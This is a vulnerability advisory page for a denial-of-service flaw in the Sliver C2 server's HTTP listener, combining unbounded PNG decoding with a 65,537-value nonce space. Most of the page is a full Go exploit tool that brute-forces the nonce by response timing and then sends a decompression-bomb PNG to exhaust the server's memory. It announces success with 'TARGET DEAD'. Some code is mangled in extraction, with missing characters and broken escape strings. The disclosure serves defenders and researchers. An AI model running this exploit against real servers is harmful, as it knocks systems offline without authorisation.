PT-2026-115368 · Go · Github.Com/Bishopfox/Sliver

CVE-2026-77622

·

Publicado

2026-10-15

·

Atualizado

2026-10-15

CVSS v4.0

8.2

Alta

VetorAV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Summary

Sliver is vulnerable to a Denial of Service (DOS) attack because there is no cap in the size of a PNG file that can be sent to an open http listener and there is a small amount of possible nonces. This vulnerability lets the attacker completely max out the RAM of the machine running server, leading to a complete loss of availability.

Details

The first vulnerability is that the amount of possible nonces is 65,537. This is found in server/encoders/encoders.go
go
const (
  EncoderModulus = uint64(65537)
)
The second vulnerability is there is no limit to how many pixels the PNG encoder will accept from an unauthenticated user. This is found in: util/encoders/images.go
go
func (p PNGEncoder) Encode(data []byte) ([]byte, error) {
  img := imageFromBytes(data)
  var buf bytes.Buffer
  encoder.Encode(&buf, img)
  return buf.Bytes(), nil
}

func (p PNGEncoder) Decode(data []byte) ([]byte, error) {
  buf := bytes.NewBuffer(data)
  img, err := png.Decode(buf)
  if err != nil { return nil, err }
  return bytesFromImage(img), nil
}

PoC

The first step to reproduce this vulnerability is building a docker container to make sure no harm is caused.
Get the latest version of Sliver (Currently 1.7.3)
bash
git clone https://github.com/BishopFox/sliver.git
Build the Docker container:
bash
cd sliver
docker build -t sliver-test:local -f Dockerfile .
Run the Docker container with a memory cap for example 4GB:
bash
docker run --rm 
--name sliver-test 
--memory=4g 
-p 8080:8080 
-it 
sliver-test:local 
After the Docker container starts, create an http listener on port 8080:
bash
http -L 0.0.0.0 -l 8080
In a seperate terminal create the following Go project: go.mod
Go
module pngboomer
go 1.25
poc.go
Go
// pngboomer — Sliver HTTP C2 PNG-bomb exploit: blind nonce brute-force + kill.
//
// SAFETY: the kill bomb causes a multi-GB PNG decode on the target. Always run
// it against a Docker container with --memory=<N>g and pass -target-cap-mb N
// so the tool can refuse dangerous worker/probe combos.
//
// Build: go build -o pngboomer
// Demo:  ./pngboomer -url http://target:8080/ -target-cap-mb 10240
package main

import (
    "bytes"
    "compress/zlib"
    "context"
    "encoding/binary"
    "flag"
    "fmt"
    "hash/crc32"
    "io"
    "math/rand"
    "net"
    "net/http"
    "net/url"
    "os"
    "sort"
    "sync"
    "sync/atomic"
    "time"
)

// ANSI color — single helper, disabled by -no-color / -silent.
var nocolor bool

func col(code, s string) string {
    if nocolor {
        return s
    }
    return "x1b[" + code + "m" + s + "x1b[0m"
}
func B(s string) string     { return col("1", s) }
func D(s string) string     { return col("2", s) }
func R(s string) string     { return col("1;31", s) }
func G(s string) string     { return col("1;32", s) }
func Y(s string) string     { return col("1;33", s) }
func C(s string) string     { return col("1;36", s) }
func ms(d time.Duration) float64 { return float64(d.Microseconds()) / 1000 }

// PNG forging — stream zero-rows into zlib so client RSS stays ~10 MB even for
// the 4 GiB-decode kill bomb. colorType: 2=RGB (3 B/px), 6=RGBA (4 B/px).
func chunk(typ string, data []byte) []byte {
    out := make([]byte, 4, 12+len(data))
    binary.BigEndian.PutUint32(out, uint32(len(data)))
    out = append(out, typ...)
    out = append(out, data...)
    crc := crc32.NewIEEE()
    crc.Write([]byte(typ))
    crc.Write(data)
    tail := make([]byte, 4)
    binary.BigEndian.PutUint32(tail, crc.Sum32())
    return append(out, tail...)
}
func makePNG(W, H, ct int) []byte {
    bpp := 3
    if ct == 6 {
        bpp = 4
    }
    var zb bytes.Buffer
    zw,  := zlib.NewWriterLevel(&zb, zlib.BestCompression)
    row := make([]byte, 1+bpp*W)
    for i := 0; i < H; i++ {
        zw.Write(row)
    }
    zw.Close()
    ihdr := make([]byte, 13)
    binary.BigEndian.PutUint32(ihdr[0:4], uint32(W))
    binary.BigEndian.PutUint32(ihdr[4:8], uint32(H))
    ihdr[8], ihdr[9] = 8, byte(ct)
    out := []byte("x89PNGr
x1a
")
    out = append(out, chunk("IHDR", ihdr)...)
    out = append(out, chunk("IDAT", zb.Bytes())...)
    return append(out, chunk("IEND", nil)...)
}

// HTTP helpers
func hostPort(u string) string {
    p,  := url.Parse(u)
    if p.Port() != "" {
        return p.Hostname() + ":" + p.Port()
    }
    if p.Scheme == "https" {
        return p.Hostname() + ":443"
    }
    return p.Hostname() + ":80"
}
func alive(hp string, t time.Duration) bool {
    c, err := net.DialTimeout("tcp", hp, t)
    if err != nil {
        return false
    }
    c.Close()
    return true
}
func post(ctx context.Context, cli *http.Client, base string, body []byte, n uint64) time.Duration {
    req,  := http.NewRequestWithContext(ctx, "POST",
        fmt.Sprintf("%s?n=%d", base, n), bytes.NewReader(body))
    req.Header.Set("Content-Type", "application/octet-stream")
    t := time.Now()
    resp, err := cli.Do(req)
    dt := time.Since(t)
    if err == nil {
        io.Copy(io.Discard, resp.Body)
        resp.Body.Close()
    }
    return dt
}

type hit struct {
    n uint64
    dt time.Duration
}

func main() {
    target := flag.String("url", "http://127.0.0.1:8080/", "Sliver HTTP C2 base URL")
    workers := flag.Int("workers", 8, "scan concurrency")
    probeW := flag.Int("probe-w", 2000, "probe PNG width")
    probeH := flag.Int("probe-h", 2000, "probe PNG height")
    probeCT := flag.Int("probe-color", 2, "probe color: 2=RGB, 6=RGBA")
    killW := flag.Int("kill-w", 32767, "kill PNG width")
    killH := flag.Int("kill-h", 32767, "kill PNG height")
    killCT := flag.Int("kill-color", 6, "kill color: 2=RGB, 6=RGBA")
    thMs := flag.Int("threshold-ms", 50, "threshold floor (effective = max(this, baseline p99 × outlier-mult))")
    outlier := flag.Float64("outlier-mult", 15.0, "baseline p99 × this = adaptive threshold")
    calibN := flag.Int("calibrate", 16, "non-PNG calibration samples")
    verifyN := flag.Int("verify", 3, "re-probe count per candidate")
    maxN := flag.Int("max-nonce", 65537, "top nonce (Sliver modulus = 65537)")
    pTO := flag.Duration("probe-timeout", 5*time.Second, "per-probe HTTP timeout")
    kTO := flag.Duration("kill-timeout", 180*time.Second, "kill request HTTP timeout")
    capMB := flag.Int("target-cap-mb", 10240, "declared target memory cap, 0 = disable check")
    known := flag.Int("nonce", 0, "skip scan, use this nonce directly")
    scanOnly := flag.Bool("scan-only", false, "stop after finding nonce, don't kill")
    noConf := flag.Bool("no-confirm", false, "don't TCP-poll for death after kill")
    noClr := flag.Bool("no-color", false, "disable ANSI color")
    silent := flag.Bool("silent", false, "only print nonce on stdout")
    flag.Parse()

    nocolor = *noClr || *silent
    pBpp, kBpp := 3, 3
    if *probeCT == 6 {
        pBpp = 4
    }
    if *killCT == 6 {
        kBpp = 4
    }
    probeMB := pBpp * *probeW * *probeH / 1024 / 1024
    killMB := kBpp * *killW * *killH / 1024 / 1024
    peakMB := *workers * probeMB
    if *capMB > 0 && peakMB > *capMB/2 {
        fmt.Fprintf(os.Stderr, "%s scan peak %d MiB > target cap %d / 2 — lower -workers or -probe-w/h
",
            R("[X] safety:"), peakMB, *capMB)
        os.Exit(2)
    }

    probe := makePNG(*probeW, *probeH, *probeCT)
    kill := makePNG(*killW, *killH, *killCT)
    hp := hostPort(*target)
    if !alive(hp, 2*time.Second) {
        fmt.Fprintf(os.Stderr, "%s target unreachable: %s
", R("[X]"), hp)
        os.Exit(2)
    }
    if !*silent {
        fmt.Fprintln(os.Stderr, B("pngboomer — Sliver C2 PNG-bomb DoS"))
        fmt.Fprintf(os.Stderr, " probe %dB wire %dx%d c=%d → %d MiB decode
",
            len(probe), *probeW, *probeH, *probeCT, probeMB)
        fmt.Fprintf(os.Stderr, " kill %dB wire %dx%d c=%d → %d MiB decode
",
            len(kill), *killW, *killH, *killCT, killMB)
        fmt.Fprintf(os.Stderr, " scan peak ≈ %d MiB target cap=%d MiB reachable=%s
",
            peakMB, *capMB, B(hp))
    }

    cli := &http.Client{Timeout: *pTO, Transport: &http.Transport{MaxIdleConnsPerHost: *workers}}
    pngN := uint64(*known)

    if pngN == 0 {
        // ─── Phase 1: calibrate non-PNG baseline ───
        dts := make([]time.Duration, *calibN)
        sem := make(chan struct{}, 8)
        var wg sync.WaitGroup
        for i := 0; i < *calibN; i++ {
            i := i
            sem <- struct{}{}
            wg.Add(1)
            go func() {
                defer wg.Done()
                defer func() { <-sem }()
                dts[i] = post(context.Background(), cli, *target, probe, uint64(rand.Intn(*maxN-1)+1))
            }()
        }
        wg.Wait()
        sort.Slice(dts, func(i, j int) bool { return dts[i] < dts[j] })
        p50, p99 := dts[len(dts)/2], dts[len(dts)*99/100]
        eff := int64(*thMs)
        if a := int64(float64(p99.Milliseconds()) * *outlier); a > eff {
            eff = a
        }
        *thMs = int(eff)
        thresh := time.Duration(*thMs) * time.Millisecond
        if !*silent {
            fmt.Fprintf(os.Stderr, " baseline p50=%.0fms p99=%.0fms → threshold=%s (max of floor, p99×%.0f)
",
                ms(p50), ms(p99), B(fmt.Sprintf("%dms", *thMs)), *outlier)
        }

        // ─── Phase 2: scan with verify + blacklist-on-blip ───
        blacklist := map[uint64]bool{}
        var maxDt int64
        var maxNonce uint64
        var totalDone uint64
        scanStart := time.Now()
        const maxBlips = 8

        // Shuffled nonce order, shared across re-scans. Workers pull via atomic
        // counter — no channels, no producer goroutine.
        order := make([]uint64, *maxN-1)
        for i := range order {
            order[i] = uint64(i + 1)
        }
        rand.Shuffle(len(order), func(i, j int) { order[i], order[j] = order[j], order[i] })

        for blip := 0; blip < maxBlips && pngN == 0; blip++ {
            scanCtx, scanCancel := context.WithCancel(context.Background())
            hits := make(chan hit, 1)
            var idx int64
            var scanned uint64
            var swg sync.WaitGroup
            for i := 0; i < *workers; i++ {
                swg.Add(1)
                go func() {
                    defer swg.Done()
                    for scanCtx.Err() == nil {
                        i := atomic.AddInt64(&idx, 1) - 1
                        if i >= int64(len(order)) {
                            return
                        }
                        n := order[i]
                        if blacklist[n] {
                            continue
                        }
                        dt := post(scanCtx, cli, *target, probe, n)
                        atomic.AddUint64(&scanned, 1)
                        for { // track slowest probe (lock-free CAS)
                            cur := atomic.LoadInt64(&maxDt)
                            if dt.Nanoseconds() <= cur {
                                break
                            }
                            if atomic.CompareAndSwapInt64(&maxDt, cur, dt.Nanoseconds()) {
                                atomic.StoreUint64(&maxNonce, n)
                                break
                            }
                        }
                        if dt >= thresh {
                            select {
                            case hits <- hit{n, dt}:
                            default:
                            }
                            scanCancel()
                            return
                        }
                    }
                }()
            }

            if !*silent {
                go func() {
                    t := time.NewTicker(750 * time.Millisecond)
                    defer t.Stop()
                    for {
                        select {
                        case <-scanCtx.Done():
                            return
                        case <-t.C:
                            tot := atomic.LoadUint64(&totalDone) + atomic.LoadUint64(&scanned)
                            el := time.Since(scanStart).Seconds()
                            fmt.Fprintf(os.Stderr, D(" scanned %d (%.0f/s, %.1fs, blips=%d)
"),
                                tot, float64(tot)/el, el, blip)
                        }
                    }
                }()
            }

            go func() { swg.Wait(); close(hits) }()
            cand, ok := <-hits
            scanCancel()
            atomic.AddUint64(&totalDone, atomic.LoadUint64(&scanned))
            if !ok {
                break // exhausted, no candidate
            }

            // VERIFY: re-probe N×, count threshold hits, render tries inline
            conf := 0
            var tries bytes.Buffer
            for i := 0; i < *verifyN; i++ {
                dt := post(context.Background(), cli, *target, probe, cand.n)
                if dt >= thresh {
                    conf++
                    tries.WriteString(G("✓"))
                } else {
                    tries.WriteString(R("✗"))
                }
                fmt.Fprintf(&tries, "%.0fms ", ms(dt))
            }
            if !*silent {
                fmt.Fprintf(os.Stderr, " candidate %s (%.0fms) verify: %s
",
                    B(fmt.Sprintf("%d", cand.n)), ms(cand.dt), tries.String())
            }
            if conf >= (*verifyN+1)/2 {
                pngN = cand.n
                if !*silent {
                    fmt.Fprintf(os.Stderr, "%s nonce=%s in %.2fs (%d probes, %d blips)
",
                        G("[+] FOUND"), B(fmt.Sprintf("%d", pngN)),
                        time.Since(scanStart).Seconds(), atomic.LoadUint64(&totalDone), len(blacklist))
                }
                break
            }
            blacklist[cand.n] = true
            if !*silent {
                fmt.Fprintf(os.Stderr, "%s nonce %d rejected (%d/%d) — blacklisted
",
                    Y("[!] blip"), cand.n, conf, *verifyN)
            }
        }

        if pngN == 0 {
            mDt := time.Duration(atomic.LoadInt64(&maxDt))
            mN := atomic.LoadUint64(&maxNonce)
            fmt.Fprintf(os.Stderr, "%s no candidate ≥ %dms after %d probes
",
                R("[X] scan failed:"), *thMs, atomic.LoadUint64(&totalDone))
            fmt.Fprintf(os.Stderr, " slowest probe: nonce=%d at %.0fms
", mN, ms(mDt))
            suggest := mDt.Milliseconds() * 6 / 10
            if suggest < 30 {
                suggest = 30
            }
            fmt.Fprintf(os.Stderr, " fix: %s or grow -probe-w/-probe-h
",
                C(fmt.Sprintf("-threshold-ms %d", suggest)))
            os.Exit(2)
        }
    }

    if *scanOnly {
        fmt.Println(pngN)
        return
    }

    // ─── Phase 3: fire kill bomb ───
    if !*silent {
        fmt.Fprintf(os.Stderr, "%s firing kill (%d MiB decode) at %s?n=%d
",
            B("[*]"), killMB, *target, pngN)
    }
    kCli := &http.Client{Timeout: *kTO}
    killStart := time.Now()
    done := make(chan struct{})
    go func() {
        dt := post(context.Background(), kCli, *target, kill, pngN)
        if !*silent {
            fmt.Fprintf(os.Stderr, " kill returned in %.2fs
", dt.Seconds())
        }
        close(done)
    }()

    if *noConf {
        <-done
        fmt.Println(pngN)
        return
    }

    deadline := time.Now().Add(*kTO)
    for time.Now().Before(deadline) {
        time.Sleep(250 * time.Millisecond)
        if !alive(hp, time.Second) {
            if !*silent {
                fmt.Fprintf(os.Stderr, "%s killed in %.2fs (TCP refused at %s)
",
                    G("[+] ★ TARGET DEAD ★"), time.Since(killStart).Seconds(), hp)
            }
            fmt.Println(pngN)
            return
        }
    }
    fmt.Fprintf(os.Stderr, "%s target alive after %s — try larger -kill-w/-kill-h
", Y("[!]"), *kTO)
    os.Exit(1)
}

Impact

This vulnerability can impact the availability of any Sliver server that has a running http listener. If the target server does not have a limit on the amount of memory the Sliver C2 can use it will lead to a host device crashing.

Collaboration

This vulnerability was found with the help of Wencheng Xue (panwnvda).

Correção

Allocation of Resources Without Limits

Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾

Enumeração de Fraquezas

Identificadores relacionados

CVE-2026-77622
GHSA-663M-7X7M-G4FW

Produtos afetados

Github.Com/Bishopfox/Sliver